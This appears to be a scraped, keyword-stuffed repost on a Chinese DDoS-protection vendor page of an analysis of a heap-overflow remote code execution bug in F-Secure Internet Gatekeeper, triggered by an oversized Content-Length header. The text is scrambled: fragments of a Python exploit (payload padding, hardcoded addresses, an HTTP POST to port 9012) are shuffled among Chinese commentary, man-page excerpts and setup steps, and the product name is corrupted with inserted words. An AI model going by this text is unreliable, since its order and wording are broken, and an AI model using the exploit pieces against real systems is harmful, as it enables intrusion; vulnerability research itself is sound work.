F-Secure Internet GatCC防御ekeeper堆溢出RCE漏洞分析-墨者安全-墨者盾
DDOS防御_CC防护_高防CDN服务器_【墨者安全】—墨者盾墨者盾—你的网站贴身保镖!
QQ:800185041
高防免费接入:400-0797-119

渠道合作:156 2527 6999

主页 > CC防护 > F-Secure Internet GatCC防御ekeeper堆溢出RCE漏洞分析

F-Secure Internet GatCC防御ekeeper堆溢出RCE漏洞分析

小墨安全管家 2020-09-28 12:56 CC防护 89 ℃
DDoS防御

分析突变的输入时,经过radamsa我们能够特别快看到漏洞的全然缘由是Content-length标题。导致软件崩溃的生成的测试具有以下标头值:Content-Length: 21487483844,这表明是由于不正确的整数导致溢出的。

             r = send_payload(payload, content_len=0x80000, nofun=True

     print "Triggering exploit" 

     payload += "A"* 488             # Padding 

 import time 

  

The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX). 

The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULLor a unique pointer value that can later be successfully passed to free(). 

             payload += p32(0x0)             # Needed to bypass checks 

             payload += p32(0xdda0077d)      # Points to where the filename will be in memory 

if ( content_len ){ 

     time.sleep(1) 

然后安装:

         for x in xrange(100): 

             r.close() 

工具

strtoul经过阅读相应的man页面,能够了解函数中发生了啥。返回值 strtoul是一具无符号的long int,它大概具有最大值2^32-1(在32位系统上)。

// fs_malloc == malloc 

0x03 学习堆利用资源

3. 为获得更好的调试体验,安装gdb 8+和https://github.com/hugsy/gef。

受阻碍的程序包具有以下SHA256哈希值:

         exit() 

Content-Length: 21487483844 

     r.send("Host: 192.168.0.122:9012\n"

  

当前的漏洞利用可靠性大约占总尝试次数的60-70%,我们的漏洞利用PoC依靠于前提条件中列出的特定主机版本。

它是用C / C ++编写的事实使我们走上了寻觅通常在该语言中常见的内存破坏漏洞的道路。

// content_len_new is without the addition of 0x1. 

     r.send("Content-Length: {}\n".format(content_len)) 

AAAAAAAAAAAAAAAAAAAAAAAAAAA 

POST /submit HTTP/1.1 

以下伪代码提供了操纵流的摘要:

F-Secure Internet GatCC谨防ekeeper堆溢出RCE漏洞分析

             payload = "" 

 import sys 

     r.send("\n"

1. 假如使用的是x64版本的CentOS,请执行 yum install glibc.i686;

由于我们提供的数据Content-Length关于无符号long int而言太大,所以strtoul将返回对应0xFFFFFFFF于32位系统的ULONG_MAX值。

  

为了演示该咨询题,我们将向运行治理面板的POST端口9012发送请求,我们设置了特别大的Content-Length标题值。

能够在下面的伪代码中看到:

· Understanding the GLibC Implementation - Part 2


DDoS防御

当前位置:主页 > CC防护 > F-Secure Internet GatCC防御ekeeper堆溢出RCE漏洞分析

猜你喜欢

标签列表
DDoS防御
网站分类
X
 

QQ客服

400-0797-119